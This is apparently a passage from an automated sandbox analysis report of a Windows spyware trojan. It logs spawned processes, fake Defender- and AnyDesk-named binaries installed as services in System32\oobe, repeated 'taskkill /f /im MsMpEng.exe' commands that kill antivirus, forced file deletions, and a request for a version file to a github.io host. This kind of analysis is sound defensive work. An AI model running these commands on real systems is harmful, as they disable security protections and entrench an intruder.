23	192.168.2.6	49744	185.199.110.153	443	2128	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:28:04 UTC	61	OUT	GET /file/version.txt HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:28:04 UTC	753	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18 Server: GitHub.com Content-Type: text/plain; charset=utf-8 permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-12" expires: Sun, 29 Sep 2024 00:36:09 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F769:2C7B00:2B3C52C:300D5F2:66F89EA1 Accept-Ranges: bytes Date: Sun, 29 Sep 2024 00:28:04 GMT Via: 1.1 varnish Age: 115 X-Served-By: cache-ewr-kewr1740056-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1727569685.729017,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: 0ef4b84c4a4b714368d9503bbc4d43347da3e8d4
2024-09-29 00:28:04 UTC	18	IN	Data Raw: 76 65 72 73 69 6f 6e 3d 32 30 32 34 30 39 31 33 0d 0a Data Ascii: version=20240913

Target ID:	0
Start time:	20:25:57
Start date:	28/09/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe"
Imagebase:	0x7ff6c7850000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:25:57
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:25:57
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:26:02
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe" install
Imagebase:	0x7ff76e180000
File size:	143'872 bytes
MD5 hash:	9CEBC167FF7C8AE3CCFFB718FD7B52D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:26:02
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:26:02
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskCrashHandler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6636
Imagebase:	0x7ff7aa950000
File size:	60'416 bytes
MD5 hash:	8EB4565C6C7096C17AC94718B2A3724B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:26:02
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskCrashHandler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2404
Imagebase:	0x7ff7aa950000
File size:	60'416 bytes
MD5 hash:	8EB4565C6C7096C17AC94718B2A3724B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 5916, Parent PID: 1484

General

Target ID:	15
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe"
Imagebase:	0x7ff76e180000
File size:	143'872 bytes
MD5 hash:	9CEBC167FF7C8AE3CCFFB718FD7B52D0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\cmd.exe /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 1944, Parent PID: 3792

General

Target ID:	20
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:26:07
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskCrashHandler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 2128
Imagebase:	0x7ff7aa950000
File size:	60'416 bytes
MD5 hash:	8EB4565C6C7096C17AC94718B2A3724B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	20:26:10
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:26:10
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:26:10
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:26:10
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 3220, Parent PID: 2128

General

Target ID:	27
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\AnyDeskUpdateService.exe"
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskCrashHandler.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\oobe\AnyDeskCrashHandler.exe" --pid 6552
Imagebase:	0x7ff7aa950000
File size:	60'416 bytes
MD5 hash:	8EB4565C6C7096C17AC94718B2A3724B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	20:26:11
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	20:26:15
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	20:26:15
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	20:26:15
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	20:26:15
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	20:26:15
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	20:26:15
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	20:26:16
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	20:26:16
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	20:26:16
Start date:	28/09/2024
Path:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\oobe\AnyDeskUpdateService.exe install
Imagebase:	0x7ff71dd80000
File size:	161'792 bytes
MD5 hash:	95408095927F78DEFFAEB9CB1F4CD44D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	20:26:16
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\WindowsUpdate.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start AnyDeskUpdateService
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c DEL /F /S /Q "C:\Windows\System32\oobe\version.txt"
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start AnyDeskUpdateService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff7403e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff6c7a10000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	20:26:18
Start date:	28/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc start MicrosoftWindowsDefenderCoreService
Imagebase:	0x7ff684ff0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	20:26:21
Start date:	28/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /f /im MsMpEng.exe
Imagebase:	0x7ff61e120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	20:26:21
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
